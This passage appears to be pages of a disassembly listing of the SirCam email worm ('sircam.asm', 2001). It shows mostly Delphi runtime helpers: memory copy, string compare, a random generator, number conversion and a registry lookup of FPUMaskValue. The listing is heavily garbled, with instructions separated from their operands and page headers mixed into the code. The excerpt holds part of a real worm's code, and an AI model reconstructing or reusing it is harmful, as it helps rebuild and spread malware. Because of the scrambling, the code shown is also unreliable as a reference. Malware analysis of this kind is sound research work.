ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402848 proc near sub_402848 xor ecx, ecx push esi push edi mov cl, [edx] mov edi, eax inc ecx mov esi, edx mov eax, ecx shr ecx, 2 and eax, 3 repe movsd mov ecx, eax repe movsb pop edi pop esi retn endp ; CODE XREF: sub_41620C+48\031p ; sub_41620C+70\031p ... ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402864 proc near ; CODE XREF: start+858\031p start+8BD\031p push ebx push esi push ecx mov esi, ecx shr esi, 2 jz short loc_402894 loc_40286E: ; CODE XREF: sub_402864+26\031j mov mov cmp jnz dec jz mov mov cmp jnz add add dec jnz ecx, [eax] ebx, [edx] ecx, ebx short loc_4028BB esi short loc_40288E ecx, [eax+4] ebx, [edx+4] ecx, ebx short loc_4028BB eax, 8 edx, 8 esi short loc_40286E sircam.asm Fri Aug 10 12:42:44 2001 48 jmp short loc_402894 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40288E: ; CODE XREF: sub_402864+13\030j add add eax, 4 edx, 4 loc_402894: ; CODE XREF: sub_402864+8\030j ; sub_402864+28\030j pop and jz mov cmp jnz dec jz mov cmp jnz dec jz mov cmp jnz esi esi, 3 short loc_4028D0 cl, [eax] cl, [edx] short loc_4028D0 esi short loc_4028B6 cl, [eax+1] cl, [edx+1] short loc_4028D0 esi short loc_4028B6 cl, [eax+2] cl, [edx+2] short loc_4028D0 loc_4028B6: ; CODE XREF: sub_402864+3D\030j ; sub_402864+48\030j xor eax, eax pop esi pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4028BB: ; CODE XREF: sub_402864+10\030j ; sub_402864+1D\030j pop cmp jnz cmp jnz shr shr cmp jnz cmp esi cl, bl short loc_4028D0 ch, bh short loc_4028D0 ecx, 10h ebx, 10h cl, bl short loc_4028D0 ch, bh loc_4028D0: sub_402864 ; CODE XREF: sub_402864+34\030j ; sub_402864+3A\030j ... pop pop retn endp esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4028D4 proc near push mov mov mov shl mov mov sar edi edi, eax ch, cl eax, ecx eax, 10h ax, cx ecx, edx ecx, 2 ; CODE XREF: sub_404414+EF\031p ; sub_404414+143\031p ... sircam.asm Fri Aug 10 12:42:44 2001 49 js short loc_4028F1 repe stosd mov ecx, edx and ecx, 3 repe stosb loc_4028F1: sub_4028D4 ; CODE XREF: sub_4028D4+12\030j pop retn endp edi ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4028F4 proc near ; CODE XREF: sub_41238C+21\031p ; sub_418880+1CE\031p ... edx, ds:dword_41E03C, 8088405h edx ds:dword_41E03C, edx edx eax, edx sub_4028F4 imul inc mov mul mov retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40290C: ; CODE XREF: sub_40296C+4\031j push push push push sub mov mov cdq xor sub mov xor loc_402923: ebx esi edi edx esp, 14h edi, ecx esi, eax eax, eax, ecx, ebx, edx edx 0Ah ebx xor div add mov inc test jnz test jge mov inc ; CODE XREF: CODE:00402930\031j edx, edx ecx edx, 30h [esp+ebx], dl ebx eax, eax short loc_402923 esi, esi short loc_40293B byte ptr [esp+ebx], 2Dh ebx mov inc mov cmp jle mov [edi], bl edi ecx, [esp+14h] ecx, 0FFh short loc_40294F ecx, 0FFh sub jle add mov ecx, ebx short loc_40295A [edi-1], cl al, 20h loc_40293B: ; CODE XREF: CODE:00402934\030j loc_40294F: ; CODE XREF: CODE:00402948\030j sircam.asm Fri Aug 10 12:42:44 2001 50 repe stosb loc_40295A: ; CODE XREF: CODE:00402951\030j ; CODE:00402962\031j mov al, [esp+ebx-1] mov [edi], al inc edi dec ebx jnz short loc_40295A add esp, 18h pop edi pop esi pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40296C proc near sub_40296C mov xor jmp endp ; CODE XREF: sub_416478+109\031p ; sub_4173F0+34\031p ... ecx, edx edx, edx loc_40290C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402978 proc near push push push mov push test jz xor xor mov ebx esi edi esi, eax eax eax, eax short loc_4029F5 eax, eax ebx, ebx edi, 0CCCCCCCh mov inc cmp jz mov cmp jz cmp jz cmp jz cmp jz cmp jz cmp jnz mov inc cmp jz bl, [esi] esi bl, 20h short loc_40298B ch, 0 bl, 2Dh short loc_402A03 bl, 2Bh short loc_402A05 bl, 24h short loc_402A0A bl, 78h short loc_402A0A bl, 58h short loc_402A0A bl, 30h short loc_4029C6 bl, [esi] esi bl, 78h short loc_402A0A ; CODE XREF: sub_407058+6\031p ; sub_4190CC+5E0\031p ... loc_40298B: ; CODE XREF: sub_402978+19\031j sircam.asm Fri Aug 10 12:42:44 2001 51 cmp bl, 58h jz short loc_402A0A test bl, bl jz short loc_4029E4 jmp short loc_4029CA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4029C6: ; CODE XREF: sub_402978+39\030j ; sub_402978+90\031j test jz bl, bl short loc_4029FE loc_4029CA: ; CODE XREF: sub_402978+4C\030j ; sub_402978+6A\031j sub cmp ja cmp ja lea add add mov inc test jnz bl, 30h bl, 9 short loc_4029FE eax, edi short loc_4029FE eax, [eax+eax*4] eax, eax eax, ebx bl, [esi] esi bl, bl short loc_4029CA dec jz test jl ch short loc_4029F8 eax, eax short loc_4029FE loc_4029E4: ; CODE XREF: sub_402978+4A\030j loc_4029EC: ; CODE XREF: sub_402978+82\031j ; sub_402978+84\031j ... pop xor ecx esi, esi loc_4029EF: ; CODE XREF: sub_402978+89\031j mov [edx], esi pop edi pop esi pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4029F5: ; CODE XREF: sub_402978+8\030j ; sub_402978+9C\031j inc esi jmp short loc_4029FE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4029F8: ; CODE XREF: sub_402978+6E\030j neg jle js eax short loc_4029EC short loc_4029EC loc_4029FE: ; CODE XREF: sub_402978+50\030j ; sub_402978+58\030j ... pop ebx sub esi, ebx jmp short loc_4029EF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402A03: ; CODE XREF: sub_402978+20\030j inc ch mov inc bl, [esi] esi loc_402A05: ; CODE XREF: sub_402978+25\030j sircam.asm Fri Aug 10 12:42:44 2001 52 jmp short loc_4029C6 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402A0A: ; CODE XREF: sub_402978+2A\030j ; sub_402978+2F\030j ... mov mov inc test jz edi, 0FFFFFFFh bl, [esi] esi bl, bl short loc_4029F5 cmp jb sub bl, 61h short loc_402A1E bl, 20h sub cmp jbe sub cmp ja add bl, 30h bl, 9 short loc_402A31 bl, 11h bl, 5 short loc_4029FE bl, 0Ah cmp ja shl add mov inc test jnz jmp endp eax, edi short loc_4029FE eax, 4 eax, ebx bl, [esi] esi bl, bl short loc_402A16 short loc_4029EC loc_402A16: ; CODE XREF: sub_402978+C7\031j loc_402A1E: ; CODE XREF: sub_402978+A1\030j loc_402A31: sub_402978 ; CODE XREF: sub_402978+AC\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402A44 proc near sub_402A44 mov inc or inc dec jnz retn endp ; CODE XREF: sub_402A44+8\031j ; sub_40F3B4+72\031p ... ch, [edx] edx [eax], ch eax cl short sub_402A44 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_GetKeyboardType. PRESS KEYPAD "+" TO EXPAND] align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402A58 proc near ; CODE XREF: sub_405880+8B\031p push ebx xor ebx, ebx push 0 call j_GetKeyboardType cmp eax, 7 jnz short loc_402A83 push 1 sircam.asm Fri Aug 10 12:42:44 2001 call and cmp jz cmp jnz j_GetKeyboardType eax, 0FF00h eax, 0D00h short loc_402A81 eax, 400h short loc_402A83 mov bl, 1 loc_402A81: ; CODE XREF: sub_402A58+20\030j loc_402A83: sub_402A58 53 ; CODE XREF: sub_402A58+D\030j ; sub_402A58+27\030j mov pop retn endp eax, ebx ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_402A88 proc near var_C var_8 var_4 = dword ptr -0Ch = dword ptr -8 = dword ptr -4 ; CODE XREF: sub_405880+94\031p push mov add movzx mov lea push push push push push call test jnz xor push push push mov mov lea push lea push push push push mov push call xor pop pop pop mov push ebp ebp, esp esp, 0FFFFFFF4h eax, ds:word_41C000 [ebp+var_8], eax eax, [ebp+var_4] eax 1 0 offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL" 80000002h j_RegOpenKeyExA eax, eax short loc_402B00 eax, eax ebp offset loc_402AF9 dword ptr fs:[eax] fs:[eax], esp [ebp+var_C], 4 eax, [ebp+var_C] eax eax, [ebp+var_8] eax 0 0 offset aFpumaskvalue ; "FPUMaskValue" eax, [ebp+var_4] eax j_RegQueryValueExA eax, eax edx ecx ecx fs:[eax], edx offset loc_402B00 mov push eax, [ebp+var_4] eax loc_402AEF: ; CODE XREF: sub_402A88+76\031j sircam.asm Fri Aug 10 12:42:44 2001 54 call j_RegCloseKey retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402AF9: ; DATA XREF: sub_402A88+2E\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_402AEF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402B00: sub_402A88 mov and mov and or mov mov pop retn endp ; CODE XREF: sub_402A88+29\030j ; DATA XREF: sub_402A88+62\030o ax, ds:word_41C000 ax, 0FFC0h dx, word ptr [ebp+var_8] dx, 3Fh ax, dx ds:word_41C000, ax esp, ebp ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 aSoftwareBorlan db ’SOFTWARE\Borland\Delphi\RTL’,0 ; DATA XREF: sub_402A88+18\030o aFpumaskvalue db ’FPUMaskValue’,0 ; DATA XREF: sub_402A88+4C\030o align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402B4C proc near sub_402B4C fninit wait fldcw retn endp ; CODE XREF: CODE:00402E54\031p ; CODE:0040312A\031p ... ds:word_41C000 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402B58 proc near sub_402B58 mov retn endp ; CODE XREF: sub_4151E8+13\031p ; sub_4151E8+1C\031p eax, [eax] ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402B5C proc near push esi push edi mov edi, edx mov esi, [eax-2Ch] xor ecx, ecx mov cl, [esi] inc ecx repe movsb pop edi pop esi ; CODE XREF: CODE:0040934F\031p ; sub_40C560+2E\031p ... sircam.asm sub_402B5C Fri Aug 10 12:42:44 2001 55 retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_402B70: ; DATA XREF: CODE:0040104C\030o ; CODE:00406234\031o ... push eax mov eax, [eax-28h] call sub_402598 mov edx, eax pop eax jmp loc_402BE8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402B84 proc near push push mov mov ebx esi ebx, eax esi, eax mov mov mov test jz call mov esi, [esi] edx, [esi-40h] esi, [esi-24h] edx, edx short loc_402B9D sub_403BBC eax, ebx test jnz call pop pop retn endp esi, esi short loc_402B8A sub_4025B0 esi ebx ; CODE XREF: CODE:004095E2\031p ; DATA XREF: CODE:00401050\030o ... loc_402B8A: ; CODE XREF: sub_402B84+1B\031j loc_402B9D: sub_402B84 ; CODE XREF: sub_402B84+10\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402BAC proc near test jz add call dl, dl short loc_402BB8 esp, 0FFFFFFF0h sub_402CDC test jz call pop add ; CODE XREF: sub_402BAC+2\030j dl, dl short locret_402BCB sub_402D34 large dword ptr fs:0 esp, 0Ch loc_402BB8: locret_402BCB: sub_402BAC ; CODE XREF: sub_40A4BC+16\031p ; sub_40C358+16\031p ... ; CODE XREF: sub_402BAC+E\030j retn endp sircam.asm Fri Aug 10 12:42:44 2001 56 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402BCC proc near call test jle call ; CODE XREF: sub_40A524+19\031p ; sub_40C3AC+3B\031p ... sub_402D3C dl, dl short locret_402BDA sub_402D2C locret_402BDA: sub_402BCC ; CODE XREF: sub_402BCC+7\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402BDC proc near test jz mov mov call ; CODE XREF: CODE:00402F52\031j ; sub_402FB4+30\031p ... eax, eax short locret_402BE7 ecx, [eax] dl, 1 dword ptr [ecx-4] locret_402BE7: sub_402BDC ; CODE XREF: sub_402BDC+2\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402BE8: ; CODE XREF: CODE:00402B7C\030j push ebx push esi push edi mov ebx, mov edi, stosd mov ecx, xor eax, push ecx shr ecx, dec ecx repe stosd pop ecx and ecx, repe stosb mov eax, mov edx, eax edx [ebx-28h] eax 2 3 edx esp loc_402C06: ; CODE XREF: CODE:00402C17\031j mov test jz push ecx, [ebx-48h] ecx, ecx short loc_402C0E ecx loc_402C0E: ; CODE XREF: CODE:00402C0B\030j mov ebx, [ebx-24h] test ebx, ebx jz short loc_402C19 mov ebx, [ebx] jmp short loc_402C06 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402C19: ; CODE XREF: CODE:00402C13\030j sircam.asm Fri Aug 10 12:42:44 2001 cmp jz esp, edx short loc_402C3A pop mov add ebx ecx, [ebx] ebx, 4 mov test jz mov mov esi, [ebx+10h] esi, esi short loc_402C30 edi, [ebx+14h] [eax+edi], esi add dec jnz cmp jnz ebx, 1Ch ecx short loc_402C23 esp, edx short loc_402C1D loc_402C1D: 57 ; CODE XREF: CODE:00402C38\031j loc_402C23: ; CODE XREF: CODE:00402C34\031j loc_402C30: ; CODE XREF: CODE:00402C28\030j loc_402C3A: ; CODE XREF: CODE:00402C1B\030j pop edi pop esi pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402C40 proc near test jz ; CODE XREF: CODE:004092F8\031p ; sub_409A30+96\031p ... eax, eax short locret_402C54 loc_402C44: ; CODE XREF: sub_402C40+F\031j mov eax, [eax] cmp eax, edx jz short loc_402C52 mov eax, [eax-24h] test eax, eax jnz short loc_402C44 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402C52: ; CODE XREF: sub_402C40+8\030j mov al, 1 locret_402C54: sub_402C40 ; CODE XREF: sub_402C40+2\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402C58 proc near ; CODE XREF: sub_402C88+4\031p ; sub_402CB4+13\031p push edi xchg eax, ebx jmp short loc_402C5E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402C5C: ; CODE XREF: sub_402C58+1F\031j mov ebx, [ebx] sircam.asm loc_402C5E: Fri Aug 10 12:42:44 2001 58 ; CODE XREF: sub_402C58+2\030j mov edi, [ebx-30h] test edi, edi jz short loc_402C72 movzx ecx, word ptr [edi] push ecx add edi, 2 repne scasw jz short loc_402C7B pop ecx loc_402C72: ; CODE XREF: sub_402C58+B\030j mov ebx, [ebx-24h] test ebx, ebx jnz short loc_402C5C pop edi retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402C7B: sub_402C58 pop add sub mov pop retn endp ; CODE XREF: sub_402C58+17\030j eax eax, eax eax, ecx ebx, [edi+eax*2-4] edi ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402C88 proc near ; CODE XREF: sub_40C63C+43\031p ; sub_40C63C+52\031p ... push eax push ecx mov eax, [eax] call sub_402C58 pop ecx pop eax jz short loc_402C97 jmp ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402C97: sub_402C88 ; CODE XREF: sub_402C88+B\030j pop jmp endp ecx loc_4027FC ; 